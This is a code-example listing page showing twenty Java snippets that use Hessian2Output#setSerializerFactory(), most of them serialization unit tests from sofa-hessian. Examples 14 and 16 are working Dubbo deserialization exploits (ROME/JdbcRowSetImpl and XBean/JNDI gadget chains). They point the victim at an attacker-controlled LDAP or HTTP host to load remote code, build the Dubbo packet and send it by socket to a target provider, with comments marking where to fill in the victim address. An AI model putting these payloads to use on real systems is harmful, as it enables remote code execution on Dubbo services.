Java Code Examples for com.caucho.hessian.io.Hessian2Output#setSerializerFactory()
The following examples show how to use
com.caucho.hessian.io.Hessian2Output#setSerializerFactory() .
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: SpecialClassTest.java From sofa-hessian with Apache License 2.0 | 6 votes |
/** * 这个用例说明hessian写入的Iterator,反序列化时是ArrayList, 不兼容 * @throws Exception */ @Test public void testIterator() throws Exception { List<Integer> list = new ArrayList<Integer>(); list.add(1); list.add(2); Iterator<Integer> iterable = list.iterator(); ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new SerializerFactory()); hout.writeObject(iterable); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new SerializerFactory()); Object o = hin.readObject(); assertEquals(ArrayList.class, o.getClass()); }
Example 2
Source File: SpecialClassTest.java From sofa-hessian with Apache License 2.0 | 6 votes |
/** * 这个用例说明目前的GenericObject结构是支持Throwable的 * @throws Exception */ @Test public void testThrowable() throws Exception { MyException ex = new MyException("hello exception!"); ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new SerializerFactory()); hout.writeObject(ex); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new GenericSerializerFactory()); Object o = hin.readObject(); assertEquals(GenericObject.class, o.getClass()); assertEquals(MyException.class.getName(), ((GenericObject) o).getType()); MyException myException = GenericUtils.convertToObject(o); assertEquals(myException.getMessage(), "hello exception!"); }
Example 3
Source File: Hessian2BlackListTest.java From sofa-hessian with Apache License 2.0 | 6 votes |
@Test public void testBeanSerialize() throws IOException { TestBlackBean blackBean = new TestBlackBean().setString("sss"); ByteArrayOutputStream output = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(output); hout.setSerializerFactory(serializerFactory); try { hout.writeObject(blackBean); hout.flush(); Assert.fail(); } catch (Exception e) { Assert.assertTrue(e instanceof IOException); } }
Example 4
Source File: CollectionTest.java From sofa-hessian with Apache License 2.0 | 5 votes |
@Test public void testComplexBean() throws Exception { GenericObject genericObject = new GenericObject(SimplePerson.class.getName()); genericObject.putField("name", "zhao"); genericObject.putField("job", "coder"); ComplexBean complexBean = new ComplexBean(new SimplePerson("zhao", "coder"), new SimplePerson("wang", "coder"), new String[] { "11111" }, new String[] { "22222" }, new TestList(), new TestList(), new int[] { 1, 2 }, new Integer[] { 1, 2 }, genericObject); ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new SerializerFactory()); hout.writeObject(complexBean); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new GenericSerializerFactory()); Object o = hin.readObject(); assertGenericComplexBean(o); GenericObject result = (GenericObject) o; // 检测GenericUtils工具正确性 ComplexBean cb = GenericUtils.convertToObject(result); assertEquals(complexBean, cb); GenericObject g = GenericUtils.convertToGenericObject(complexBean); assertGenericComplexBean(g); }
Example 5
Source File: CollectionTest.java From sofa-hessian with Apache License 2.0 | 5 votes |
@Test public void testCollection() throws Exception { TestList testList = new TestList(); testList.add(1); testList.add(new SimplePerson("wang", "coder")); ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new GenericSerializerFactory()); hout.writeObject(testList); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new GenericSerializerFactory()); Object o = hin.readObject(); assertTrue(o.getClass() == GenericCollection.class); GenericCollection genericCollection = (GenericCollection) o; assertEquals(genericCollection.getType(), TestList.class.getName()); assertEquals(genericCollection.getCollection().size(), 2); assertEquals(((ArrayList) genericCollection.getCollection()).get(0), 1); assertEquals(((ArrayList) genericCollection.getCollection()).get(1).getClass(), GenericObject.class); GenericObject genericObject = (GenericObject) ((ArrayList) genericCollection .getCollection()).get(1); assertEquals(genericObject.getType(), SimplePerson.class.getName()); assertEquals(genericObject.getField("name"), "wang"); assertEquals(genericObject.getField("job"), "coder"); }
Example 6
Source File: CollectionTest.java From sofa-hessian with Apache License 2.0 | 5 votes |
@Test public void testGenericCollection() throws Exception { TestList testList = new TestList(); testList.add(1); testList.add(new SimplePerson("wang", "coder")); GenericCollection collection = new GenericCollection(TestList.class.getName()); collection.setCollection(testList); ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new GenericSerializerFactory()); hout.writeObject(collection); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new GenericSerializerFactory()); Object o = hin.readObject(); assertTrue(o.getClass() == GenericCollection.class); GenericCollection genericCollection = (GenericCollection) o; assertEquals(genericCollection.getType(), TestList.class.getName()); assertEquals(genericCollection.getCollection().size(), 2); assertEquals(((ArrayList) genericCollection.getCollection()).get(0), 1); assertEquals(((ArrayList) genericCollection.getCollection()).get(1).getClass(), GenericObject.class); GenericObject genericObject = (GenericObject) ((ArrayList) genericCollection .getCollection()).get(1); assertEquals(genericObject.getType(), SimplePerson.class.getName()); assertEquals(genericObject.getField("name"), "wang"); assertEquals(genericObject.getField("job"), "coder"); }
Example 7
Source File: CollectionTest.java From sofa-hessian with Apache License 2.0 | 5 votes |
@Test public void testGenericStringArray() throws Exception { Object[] strs = new String[3]; strs[0] = "11111"; strs[1] = "22222"; GenericArray collection = new GenericArray(String.class.getName()); collection.setObjects(strs); ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new GenericSerializerFactory()); hout.writeObject(collection); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new GenericSerializerFactory()); Object o = hin.readObject(); assertTrue(o.getClass() == String[].class); String[] strings = (String[]) o; assertTrue(3 == strings.length); assertEquals("11111", strings[0]); assertEquals("22222", strings[1]); assertEquals(null, strings[2]); }
Example 8
Source File: HessianSerializer.java From sofa-bolt with Apache License 2.0 | 5 votes |
/** * @see com.alipay.remoting.serialization.Serializer#serialize(java.lang.Object) */ @Override public byte[] serialize(Object obj) throws CodecException { ByteArrayOutputStream byteArray = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(byteArray); output.setSerializerFactory(serializerFactory); try { output.writeObject(obj); output.close(); } catch (IOException e) { throw new CodecException("IOException occurred when Hessian serializer encode!", e); } return byteArray.toByteArray(); }
Example 9
Source File: ComplexTestGO2O.java From sofa-hessian with Apache License 2.0 | 5 votes |
@Test public void testMap() throws IOException { Object go = dg.generateMapGenericPerson_1(); ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new GenericSerializerFactory()); hout.writeObject(go); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new SerializerFactory()); Map dmap = (Map) hin.readObject(); Map map = (Map) dg.generateMapPerson_1(); assertEquals(dmap.size(), map.size()); ComplexTestGO2GO.cmpGPersonEqualPerson((GenericObject) ((Map) go).get(1), (Person) dmap.get(1)); ComplexTestGO2GO.cmpGPersonEqualPerson((GenericObject) ((Map) go).get(2), (Person) dmap.get(2)); Map dmap2 = (Map) dmap.get("map"); Map map2 = (Map) ((Map) go).get("map"); assertEquals(dmap2.size(), map2.size()); ComplexTestGO2GO.cmpGPersonEqualPerson((GenericObject) map2.get("lll"), (Person) dmap2.get("lll")); ComplexTestGO2GO.cmpGPersonEqualPerson((GenericObject) map2.get("qqq"), (Person) dmap2.get("qqq")); ComplexTestGO2GO.cmpGPersonEqualPerson((GenericObject) map2.get("www"), (Person) dmap2.get("www")); assertSame(dmap2.get("lll"), dmap2.get("www")); }
Example 10
Source File: ComplexTestO2GO.java From sofa-hessian with Apache License 2.0 | 5 votes |
@Test public void testList() throws IOException { List list = (List) dg.generateListPerson_1(); ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new SerializerFactory()); hout.writeObject(list); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new GenericSerializerFactory()); List dlist = (List) hin.readObject(); assertEquals(dlist.size(), list.size()); ComplexTestGO2GO.cmpGPersonEqualPerson((GenericObject) dlist.get(0), (Person) list.get(0)); ComplexTestGO2GO.cmpGPersonEqualPerson((GenericObject) dlist.get(1), (Person) list.get(1)); List dlist2 = (List) dlist.get(2); List list2 = (List) list.get(2); assertEquals(dlist2.size(), list2.size()); ComplexTestGO2GO .cmpGPersonEqualPerson((GenericObject) dlist2.get(0), (Person) list2.get(0)); ComplexTestGO2GO .cmpGPersonEqualPerson((GenericObject) dlist2.get(1), (Person) list2.get(1)); ComplexTestGO2GO .cmpGPersonEqualPerson((GenericObject) dlist2.get(2), (Person) list2.get(2)); assertSame(dlist2.get(0), dlist2.get(2)); }
Example 11
Source File: SimpleTestO2GO.java From sofa-hessian with Apache License 2.0 | 4 votes |
@org.junit.Test public void testDoubles() throws IOException { ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new SerializerFactory()); hout.writeObject(dg.generateDouble_0_0()); hout.writeObject(dg.generateDouble_1_0()); hout.writeObject(dg.generateDouble_2_0()); hout.writeObject(dg.generateDouble_127_0()); hout.writeObject(dg.generateDouble_m128_0()); hout.writeObject(dg.generateDouble_128_0()); hout.writeObject(dg.generateDouble_m129_0()); hout.writeObject(dg.generateDouble_32767_0()); hout.writeObject(dg.generateDouble_m32768_0()); hout.writeObject(dg.generateDouble_0_001()); hout.writeObject(dg.generateDouble_m0_001()); hout.writeObject(dg.generateDouble_65_536()); hout.writeObject(dg.generateDouble_3_14159()); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new GenericSerializerFactory()); assertEquals(dg.generateDouble_0_0(), hin.readObject()); assertEquals(dg.generateDouble_1_0(), hin.readObject()); assertEquals(dg.generateDouble_2_0(), hin.readObject()); assertEquals(dg.generateDouble_127_0(), hin.readObject()); assertEquals(dg.generateDouble_m128_0(), hin.readObject()); assertEquals(dg.generateDouble_128_0(), hin.readObject()); assertEquals(dg.generateDouble_m129_0(), hin.readObject()); assertEquals(dg.generateDouble_32767_0(), hin.readObject()); assertEquals(dg.generateDouble_m32768_0(), hin.readObject()); assertEquals(dg.generateDouble_0_001(), hin.readObject()); assertEquals(dg.generateDouble_m0_001(), hin.readObject()); assertEquals(dg.generateDouble_65_536(), hin.readObject()); assertEquals(dg.generateDouble_3_14159(), hin.readObject()); hin.close(); }
Example 12
Source File: ComplexTestGO2O.java From sofa-hessian with Apache License 2.0 | 4 votes |
@Test public void testMix() throws IOException { Object obj = dg.generateMixGenericObject(); ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new GenericSerializerFactory()); hout.writeObject(obj); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new SerializerFactory()); Object[][] darr = (Object[][]) hin.readObject(); assertEquals(darr.length, 3); assertEquals(darr[0].length, 3); assertSame(darr, darr[2][0]); ComplexTestGO2GO.cmpGPersonEqualPerson((GenericObject) ((Object[][]) obj)[2][1], (Person) darr[2][1]); ComplexTestGO2GO.cmpGPersonEqualPerson((GenericObject) ((Object[][]) obj)[2][2], (Person) darr[2][2]); Object[] darr1 = (Object[]) darr[1][0]; Map dmap1 = (Map) darr[1][1]; List dlist1 = (List) darr[1][2]; Object[] darr2 = (Object[]) darr1[2]; assertSame(darr2[2], dmap1); Map dmap2 = (Map) dmap1.get(3); assertSame(dmap2.get("www"), dlist1); List dlist2 = (List) dlist1.get(2); assertSame(dlist2.get(2), darr1); ComplexTestGO2GO.cmpGPersonEqualPerson( (GenericObject) ((Object[]) ((Object[][]) obj)[1][0])[0], (Person) darr1[0]); assertSame(darr1[0], darr2[0]); assertSame(darr1[0], dmap1.get(1)); assertSame(darr1[0], dmap2.get("lll")); assertSame(darr1[0], dlist1.get(0)); assertSame(darr1[0], dlist2.get(0)); ComplexTestGO2GO.cmpGPersonEqualPerson( (GenericObject) ((Object[]) ((Object[][]) obj)[1][0])[1], (Person) darr1[1]); assertSame(darr1[1], darr2[1]); assertSame(darr1[1], dmap1.get(2)); assertSame(darr1[1], dmap2.get("qqq")); assertSame(darr1[1], dlist1.get(1)); assertSame(darr1[1], dlist2.get(1)); //System.out.println(darr1[1]); }
Example 13
Source File: ComplexTestO2GO.java From sofa-hessian with Apache License 2.0 | 4 votes |
@Test public void singlePerson() throws IOException { Object p1 = dg.generatePerson_1(); Object p2 = dg.generatePerson_2(); Object p3 = dg.generatePerson_3(); Object p4 = dg.generatePerson_4(); Object p5 = dg.generatePerson_5(); Object p6 = dg.generatePerson_6(); ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new SerializerFactory()); hout.writeObject(p1); hout.writeObject(p2); hout.writeObject(p3); hout.writeObject(p4); hout.writeObject(p5); hout.writeObject(p6); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new GenericSerializerFactory()); GenericObject dp1 = (GenericObject) hin.readObject(); GenericObject dp2 = (GenericObject) hin.readObject(); GenericObject dp3 = (GenericObject) hin.readObject(); GenericObject dp4 = (GenericObject) hin.readObject(); GenericObject dp5 = (GenericObject) hin.readObject(); GenericObject dp6 = (GenericObject) hin.readObject(); ComplexTestGO2GO.cmpGPersonEqualPerson(dp1, (Person) p1); ComplexTestGO2GO.cmpGPersonEqualPerson(dp2, (Person) p2); ComplexTestGO2GO.cmpGPersonEqualPerson(dp3, (Person) p3); ComplexTestGO2GO.cmpGPersonEqualPerson(dp4, (Person) p4); ComplexTestGO2GO.cmpGPersonEqualPerson(dp5, (Person) p5); ComplexTestGO2GO.cmpGPersonEqualPerson(dp6, (Person) p6); }
Example 14
Source File: RomePoc.java From learnjavabug with MIT License | 4 votes |
public static void main(String[] args) throws Exception { JdbcRowSetImpl rs = new JdbcRowSetImpl(); //todo 此处填写ldap url rs.setDataSourceName("ldap://127.0.0.1:43658/Calc"); rs.setMatchColumn("foo"); Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null); ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs); EqualsBean root = new EqualsBean(ToStringBean.class, item); HashMap s = new HashMap<>(); Reflections.setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null)); Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null)); Reflections.setFieldValue(s, "table", tbl); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); // header. byte[] header = new byte[16]; // set magic number. Bytes.short2bytes((short) 0xdabb, header); // set request and serialization flag. header[2] = (byte) ((byte) 0x80 | 0x20 | 2); // set request id. Bytes.long2bytes(new Random().nextInt(100000000), header, 4); ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream); NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory(); sf.setAllowNonSerializable(true); out.setSerializerFactory(sf); out.writeObject(s); out.flushBuffer(); if (out instanceof Cleanable) { ((Cleanable) out).cleanup(); } Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12); byteArrayOutputStream.write(header); byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray()); byte[] bytes = byteArrayOutputStream.toByteArray(); //todo 此处填写被攻击的dubbo服务提供者地址和端口 Socket socket = new Socket("127.0.0.1", 20880); OutputStream outputStream = socket.getOutputStream(); outputStream.write(bytes); outputStream.flush(); outputStream.close(); }
Example 15
Source File: ComplexTestGO2O.java From sofa-hessian with Apache License 2.0 | 4 votes |
@Test public void singlePerson() throws IOException { Object gp1 = dg.generateGenericPerson_1(); Object gp2 = dg.generateGenericPerson_2(); Object gp3 = dg.generateGenericPerson_3(); Object gp4 = dg.generateGenericPerson_4(); Object gp5 = dg.generateGenericPerson_5(); Object gp6 = dg.generateGenericPerson_6(); ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new GenericSerializerFactory()); hout.writeObject(gp1); hout.writeObject(gp2); hout.writeObject(gp3); hout.writeObject(gp4); hout.writeObject(gp5); hout.writeObject(gp6); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new SerializerFactory()); Person dp1 = (Person) hin.readObject(); Person dp2 = (Person) hin.readObject(); Person dp3 = (Person) hin.readObject(); Person dp4 = (Person) hin.readObject(); Person dp5 = (Person) hin.readObject(); Person dp6 = (Person) hin.readObject(); ComplexTestGO2GO.cmpGPersonEqualPerson((GenericObject) gp1, dp1); ComplexTestGO2GO.cmpGPersonEqualPerson((GenericObject) gp2, dp2); ComplexTestGO2GO.cmpGPersonEqualPerson((GenericObject) gp3, dp3); ComplexTestGO2GO.cmpGPersonEqualPerson((GenericObject) gp4, dp4); ComplexTestGO2GO.cmpGPersonEqualPerson((GenericObject) gp5, dp5); ComplexTestGO2GO.cmpGPersonEqualPerson((GenericObject) gp6, dp6); //System.out.println(dp6); }
Example 16
Source File: XBeanPoc.java From learnjavabug with MIT License | 4 votes |
public static void main(String[] args) throws Exception { Context ctx = Reflections.createWithoutConstructor(WritableContext.class); Reference ref = new Reference("Calc", "Calc","http://127.0.0.1:8080/"); ReadOnlyBinding binding = new ReadOnlyBinding("foo", ref, ctx); Object s = ToStringUtil.makeToStringTrigger(binding); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); // header. byte[] header = new byte[16]; // set magic number. Bytes.short2bytes((short) 0xdabb, header); // set request and serialization flag. header[2] = (byte) ((byte) 0x80 | 2); // set request id. Bytes.long2bytes(new Random().nextInt(100000000), header, 4); ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream); NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory(); sf.setAllowNonSerializable(true); out.setSerializerFactory(sf); //todo 经测试,以下4个随意填 //注册中心获取到的service全限定名、版本号、方法名 out.writeString("2.0.2"); out.writeString("com.threedr3am.learn.server.boot.DemoXXXXXXXXService"); out.writeString("1.0"); out.writeString("hello"); //todo 方法描述不需要修改,因为此处需要指定map的payload去触发 out.writeString("Ljava/util/Map;"); out.writeObject(s); out.writeObject(new HashMap()); out.close(); Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12); byteArrayOutputStream.write(header); byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray()); byte[] bytes = byteArrayOutputStream.toByteArray(); //todo 此处填写被攻击的dubbo服务提供者地址和端口 Socket socket = new Socket("127.0.0.1", 20880); OutputStream outputStream = socket.getOutputStream(); outputStream.write(bytes); outputStream.flush(); outputStream.close(); }
Example 17
Source File: SimpleTestGO2O.java From sofa-hessian with Apache License 2.0 | 4 votes |
@org.junit.Test public void testDoubles() throws IOException { ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new GenericSerializerFactory()); hout.writeObject(dg.generateDouble_0_0()); hout.writeObject(dg.generateDouble_1_0()); hout.writeObject(dg.generateDouble_2_0()); hout.writeObject(dg.generateDouble_127_0()); hout.writeObject(dg.generateDouble_m128_0()); hout.writeObject(dg.generateDouble_128_0()); hout.writeObject(dg.generateDouble_m129_0()); hout.writeObject(dg.generateDouble_32767_0()); hout.writeObject(dg.generateDouble_m32768_0()); hout.writeObject(dg.generateDouble_0_001()); hout.writeObject(dg.generateDouble_m0_001()); hout.writeObject(dg.generateDouble_65_536()); hout.writeObject(dg.generateDouble_3_14159()); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new SerializerFactory()); assertEquals(dg.generateDouble_0_0(), hin.readObject()); assertEquals(dg.generateDouble_1_0(), hin.readObject()); assertEquals(dg.generateDouble_2_0(), hin.readObject()); assertEquals(dg.generateDouble_127_0(), hin.readObject()); assertEquals(dg.generateDouble_m128_0(), hin.readObject()); assertEquals(dg.generateDouble_128_0(), hin.readObject()); assertEquals(dg.generateDouble_m129_0(), hin.readObject()); assertEquals(dg.generateDouble_32767_0(), hin.readObject()); assertEquals(dg.generateDouble_m32768_0(), hin.readObject()); assertEquals(dg.generateDouble_0_001(), hin.readObject()); assertEquals(dg.generateDouble_m0_001(), hin.readObject()); assertEquals(dg.generateDouble_65_536(), hin.readObject()); assertEquals(dg.generateDouble_3_14159(), hin.readObject()); hin.close(); }
Example 18
Source File: SimpleTestGO2O.java From sofa-hessian with Apache License 2.0 | 4 votes |
@org.junit.Test public void testLong() throws IOException { ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new GenericSerializerFactory()); //single byte hout.writeObject(dg.generateLong_0()); hout.writeObject(dg.generateLong_1()); hout.writeObject(dg.generateLong_15()); hout.writeObject(dg.generateLong_m8()); //two bytes hout.writeObject(dg.generateLong_0x10()); hout.writeObject(dg.generateLong_0x7ff()); hout.writeObject(dg.generateLong_m9()); hout.writeObject(dg.generateLong_m0x800()); //three bytes hout.writeObject(dg.generateLong_0x800()); hout.writeObject(dg.generateLong_0x3ffff()); hout.writeObject(dg.generateLong_m0x801()); hout.writeObject(dg.generateLong_m0x40000()); //five bytes hout.writeObject(dg.generateLong_0x40000()); hout.writeObject(dg.generateLong_0x7fffffff()); hout.writeObject(dg.generateLong_m0x40001()); hout.writeObject(dg.generateLong_m0x80000000()); hout.writeObject(dg.generateLong_0x80000000()); hout.writeObject(dg.generateLong_m0x80000001()); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new SerializerFactory()); //single byte assertEquals(dg.generateLong_0(), hin.readObject()); assertEquals(dg.generateLong_1(), hin.readObject()); assertEquals(dg.generateLong_15(), hin.readObject()); assertEquals(dg.generateLong_m8(), hin.readObject()); //two bytes assertEquals(dg.generateLong_0x10(), hin.readObject()); assertEquals(dg.generateLong_0x7ff(), hin.readObject()); assertEquals(dg.generateLong_m9(), hin.readObject()); assertEquals(dg.generateLong_m0x800(), hin.readObject()); //three bytes assertEquals(dg.generateLong_0x800(), hin.readObject()); assertEquals(dg.generateLong_0x3ffff(), hin.readObject()); assertEquals(dg.generateLong_m0x801(), hin.readObject()); assertEquals(dg.generateLong_m0x40000(), hin.readObject()); //five bytes assertEquals(dg.generateLong_0x40000(), hin.readObject()); assertEquals(dg.generateLong_0x7fffffff(), hin.readObject()); assertEquals(dg.generateLong_m0x40001(), hin.readObject()); assertEquals(dg.generateLong_m0x80000000(), hin.readObject()); assertEquals(dg.generateLong_0x80000000(), hin.readObject()); assertEquals(dg.generateLong_m0x80000001(), hin.readObject()); hin.close(); }
Example 19
Source File: SimpleTesGO2GO.java From sofa-hessian with Apache License 2.0 | 4 votes |
@org.junit.Test public void testObject() throws IOException { ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new GenericSerializerFactory()); hout.writeObject(dg.generateGenericObject_0()); hout.writeObject(dg.generateGenericObject_16()); hout.writeObject(dg.generateGenericObject_1()); hout.writeObject(dg.generateGenericObject_2()); hout.writeObject(dg.generateGenericObject_2a()); hout.writeObject(dg.generateGenericObject_2b()); hout.writeObject(dg.generateGenericObject_3()); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new GenericSerializerFactory()); Object dobj1 = hin.readObject(); Object dobj2 = hin.readObject(); Object dobj3 = hin.readObject(); Object dobj4 = hin.readObject(); Object dobj5 = hin.readObject(); Object dobj6 = hin.readObject(); Object dobj7 = hin.readObject(); Object obj1 = dg.generateObject_0(); Object obj2 = dg.generateObject_16(); Object obj3 = dg.generateObject_1(); Object obj4 = dg.generateObject_2(); Object obj5 = dg.generateObject_2a(); Object obj6 = dg.generateObject_2b(); Object obj7 = dg.generateObject_3(); assertEquals(obj1.getClass().getName(), ((GenericObject) dobj1).getType()); List listO2 = (List) obj2; List listGO2 = (List) dobj2; for (int i = 0; i < listO2.size(); ++i) assertEquals(listO2.get(i).getClass().getName(), ((GenericObject) listGO2.get(i)).getType()); assertEquals(obj3.getClass().getName(), ((GenericObject) dobj3).getType()); assertEquals(((TestObject) obj3).getValue(), ((GenericObject) dobj3).getField("_value")); List listO4 = (List) obj4; List listGO4 = (List) dobj4; assertEquals(listO4.get(0).getClass().getName(), ((GenericObject) listGO4.get(0)).getType()); assertEquals(((TestObject) listO4.get(0)).getValue(), ((GenericObject) listGO4.get(0)).getField("_value")); assertEquals(listO4.get(1).getClass().getName(), ((GenericObject) listGO4.get(1)).getType()); assertEquals(((TestObject) listO4.get(1)).getValue(), ((GenericObject) listGO4.get(1)).getField("_value")); List listO5 = (List) obj5; List listGO5 = (List) dobj5; assertEquals(listO5.get(0).getClass().getName(), ((GenericObject) listGO5.get(0)).getType()); assertEquals(((TestObject) listO5.get(0)).getValue(), ((GenericObject) listGO5.get(0)).getField("_value")); assertSame(listGO5.get(0), listGO5.get(1)); List listO6 = (List) obj6; List listGO6 = (List) dobj6; assertEquals(listO6.get(0).getClass().getName(), ((GenericObject) listGO6.get(0)).getType()); assertEquals(((TestObject) listO6.get(0)).getValue(), ((GenericObject) listGO6.get(0)).getField("_value")); assertEquals(listO6.get(1).getClass().getName(), ((GenericObject) listGO6.get(1)).getType()); assertEquals(((TestObject) listO6.get(1)).getValue(), ((GenericObject) listGO6.get(1)).getField("_value")); GenericObject gobj7 = (GenericObject) dobj7; assertEquals(obj7.getClass().getName(), gobj7.getType()); assertSame(gobj7, gobj7.getField("_rest")); hin.close(); }
Example 20
Source File: ComplexTestGO2GO.java From sofa-hessian with Apache License 2.0 | 4 votes |
public void testMix() throws IOException { Object obj = dg.generateMixGenericObject(); ByteArrayOutputStream bout = new ByteArrayOutputStream(); Hessian2Output hout = new Hessian2Output(bout); hout.setSerializerFactory(new GenericSerializerFactory()); hout.writeObject(obj); hout.close(); byte[] body = bout.toByteArray(); ByteArrayInputStream bin = new ByteArrayInputStream(body, 0, body.length); Hessian2Input hin = new Hessian2Input(bin); hin.setSerializerFactory(new GenericSerializerFactory()); Object[][] darr = (Object[][]) hin.readObject(); Object[][] arr = (Object[][]) dg.generateMixObject(); assertEquals(darr.length, 3); assertEquals(darr[0].length, 3); assertSame(darr, darr[2][0]); cmpGPersonEqualPerson((GenericObject) darr[2][1], (Person) arr[2][1]); cmpGPersonEqualPerson((GenericObject) darr[2][2], (Person) arr[2][2]); Object[] darr1 = (Object[]) darr[1][0]; Map dmap1 = (Map) darr[1][1]; List dlist1 = (List) darr[1][2]; Object[] darr2 = (Object[]) darr1[2]; assertSame(darr2[2], dmap1); Map dmap2 = (Map) dmap1.get(3); assertSame(dmap2.get("www"), dlist1); List dlist2 = (List) dlist1.get(2); assertSame(dlist2.get(2), darr1); cmpGPersonEqualPerson((GenericObject) darr1[0], (Person) ((Object[]) arr[1][0])[0]); assertSame(darr1[0], darr2[0]); assertSame(darr1[0], dmap1.get(1)); assertSame(darr1[0], dmap2.get("lll")); assertSame(darr1[0], dlist1.get(0)); assertSame(darr1[0], dlist2.get(0)); cmpGPersonEqualPerson((GenericObject) darr1[1], (Person) ((Object[]) arr[1][0])[1]); assertSame(darr1[1], darr2[1]); assertSame(darr1[1], dmap1.get(2)); assertSame(darr1[1], dmap2.get("qqq")); assertSame(darr1[1], dlist1.get(1)); assertSame(darr1[1], dlist2.get(1)); //System.out.println(darr1[1]); }